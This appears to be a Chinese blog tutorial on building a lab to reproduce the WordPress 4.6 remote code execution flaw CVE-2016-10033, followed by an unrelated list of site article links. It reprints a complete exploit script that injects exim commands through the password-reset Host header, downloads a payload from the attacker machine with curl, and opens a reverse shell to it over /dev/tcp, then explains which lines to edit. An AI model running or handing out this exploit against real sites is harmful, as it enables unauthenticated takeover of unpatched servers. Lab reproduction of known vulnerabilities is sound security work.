WordPress 4.6远程代码执行漏洞(CVE-2016-10033)复现环境搭建指南
首先是找到网上的漏洞分析和poc脚本,WordPress <4.7.1 远程代码执行漏洞(非插件无需认证,附Poc,演示视频)——具体关于漏洞的分析不多说了,这个说得很好了,主要是说环境搭建。
搭建环境的步骤:
1.靶机
靶机不能是虚拟机 因为虚拟机修改了HOST头会无法访问
靶机我是在一台电脑上装了ubuntu 16.04。
外加lamp环境 apache2 php7 mysql-server phpmyadmin。
具体的指令网上都有 这里就不赘述 然后直到看到it works。
下载wordpress4.6的安装压缩包 https://wordpress.org/wordpress-4.6.zip 。解压到/var/www/html/目录下 浏览器访问进行wordpress安装直到结束!注意这里会要求你输入后台管理员的邮箱,这个是和后面poc中的一部分挂钩的,后面会提到
靶机安装exim4而不是sendmail
sudo apt-get install exim4
上述命令用来安装exim4
dpkg-reconfigure exim4-config
上述命令用来配置 第一个选项选第一个:internet site; mail is sent and received directly using SMTP 第二个选项输入:你IP对应的DNS名称(发邮件时显示的@后缀) 这里我直接写的ip好像。后面的我基本都默认就行
靶机需要安装curl
2.攻击机
为了方便运行poc,攻击机最好也是linux系统(里面有一些curl nc等指令)
需要安装python,因为会有python建立simple http server来让靶机从你这边获取东西
攻击机上运行 ./exp.sh [
http://xx.xx.xx.xx/
](
http://xx.xx.xx.xx/
)
即可 其中xx.xx.xx.xx为靶机wordpress的根地址
3.脚本需要修改的部分
rev_host=”192.168.57.1″ #1 function prep_host_header() { cmd=”$1″ rce_cmd=”${run{$cmd}}”; # replace / with ${substr{0}{1}{$spool_directory}} #sed ‘s^/^${substr{0}{1}{$spool_directory}}^g’ rce_cmd=”`echo $rce_cmd | sed ‘s^/^${substr{0}{1}{$spool_directory}}^g’`” # replace ‘ ‘ (space) with #sed ‘s^ ^${substr{10}{1}{$tod_log}}$^g’ rce_cmd=”`echo $rce_cmd | sed ‘s^ ^${substr{10}{1}{$tod_log}}^g’`” #return “target(any -froot@localhost -be $rce_cmd null)” host_header=”target(any -froot@localhost -be $rce_cmd null)” return 0 } #cat exploitbox.ans intro=” DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6 b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1 QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54 eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4 bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K” intro2=” ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09 fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09 fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1 cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg==” echo “$intro” | base64 -d echo “$intro2″ | base64 -d if [ "$#" -ne 1 ]; then echo -e “Usage:n$0 target-wordpress-urln” exit 1 fi target=”$1″ echo -ne “e[91m[*] 33[0m" read -p " Sure you want to get a shell on the target '$target' ? [y/N] ” choice echo if [ "$choice" == "y" ]; then echo -e “e[92m[*] 33[0m Guess I can't argue with that... Let's get started...n" echo -e "e[92m[+] 33[0m Connected to the target" # Serve payload/bash script on :80 RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" echo "$RCE_exec_cmd" > rce.txt python -mSimpleHTTPServer 80 2>/dev/null >&2 & hpid=$! # Save payload on the target in /tmp/rce cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" prep_host_header "$cmd" curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php? action=lostpassword #2 echo -e "ne[92m[+]e[0m Payload sent successfully" # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd="/bin/bash /tmp/rce" prep_host_header "$cmd" curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword & #3 echo -e "ne[92m[+] 33[0m Payload executed!" echo -e "ne[92m[*] 33[0m Waiting for the target to send us a e[94mreverse shelle[0m...n" nc -vv -l 1337 echo else echo -e "e[92m[+] 33[0m Responsible choice
Exiting.n" exit 0 fi echo "Exiting..." exit 0
三个地方 第一处 #1 line 1
rev_host="192.168.57.1" #1
这边要替换成你的攻击机的ip地址,一般是和靶机处在一个局域网内的,可以提前访问下wordpress的网站进行测试。
第二处 #2 line 75第三处 #3 line 80
curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword #2 echo -e "ne[92m[+]e[0m Payload sent successfully” # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd=”/bin/bash /tmp/rce” prep_host_header “$cmd” curl -H”Host: $host_header” -d ‘user_login=admin&wp-submit=Get+New+Password’ $target/wp-login.php?action=lostpassword & #3
这两个地方主要要修改的可能是 user_login=admin
这个参数,这个poc里默认的是admin
这里其实就是你装wordpress时管理员的或者任意一个用户的邮箱
因为找回密码时他会先判断邮箱是否存在,再进行下一步
如果这里邮箱不存在 你发包是返回200 告诉你邮箱不存在
如果是存在有的邮箱,就是返回302跳转到输入邮箱密码的界面 同时告诉你邮件已经发了
下面是burp模拟攻击时候的抓包 返回的是302时说明已经命令执行成功
可以看到靶机上也确实出现了rce文件
这边执行的命令是 /usr/bin/curl -o/tmp/rce $rev_host/rce.txt
这三个地方改好了之后,脚本就可以运行了
(里面的一些test和输出是我调的时候自己加的不用在意…)
脚本的主要流程:
生成本地rce.txt 里面写的是是建立连接的命令 命令执行第一次 curl攻击机获取rce.txt 写到/tmp目录下 命令执行第二次 运行tmp目录下的rce nc连接靶机
效果不错,但是局限性较多,比如不能用虚拟机 还有要安装exim4等
这次复现一开始我都在纠结我的wp不能发邮件,还配置SMTP服务器什么的,后来发现其实这不是问题所在,
所以最重要的还是搞清楚到底是需要什么样的验证环境,需要安装那些东西,可以少走很多弯路。
- DeveWork.com 上线“前端工具箱”(附源码下载)
- Debug和Release之本质区别
- ArgoUML -- 开源UML 建模工具
- 性能分析工具-PerfView
- c#测试字符串是否为GUID的几种方法
- 编译错误CS1595
- 分享一款带尖角浮出 公告栏 样式
- 在asp.net页面上得到Castle容器的实例
- WordPress自带TinyMCE编辑器相关功能增强
- 联众互动收购3家棋牌游戏公司,其域名买自蔡文胜手中
- 未来有什么工作绝对不会被人工智能取代
- WordPress在RSS Feed 中输出版权信息
- WordPress免插件仅代码实现文章浏览次数的方法(2)
- 苹果被告了,但网友们却觉得一点也不亏!
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- apicloud api.openwin
- C#观察者模式实例
- xml序列化和反序列化(二)
- xml序列化和反序列化(一)
- js this问题和es6箭头函数this问题
- 元素淡入淡出效果实现
- Asp.Net Mvc表单提交(批量提交)
- Vue 基本指令和html常用标签结合使用综合案例(含代码)
- ef和mysql使用(二)--让mysql支持EntityFramework.Extended实现批量更新和删除
- EF 多种查询方式
- (mysql)找不到请求的 .Net Framework Data Provider。可能没有安装
- Vue 中的 v-cloak 解读
- ef和mysql使用(一)
- 浏览器工作原理
- ef oracle参数化问题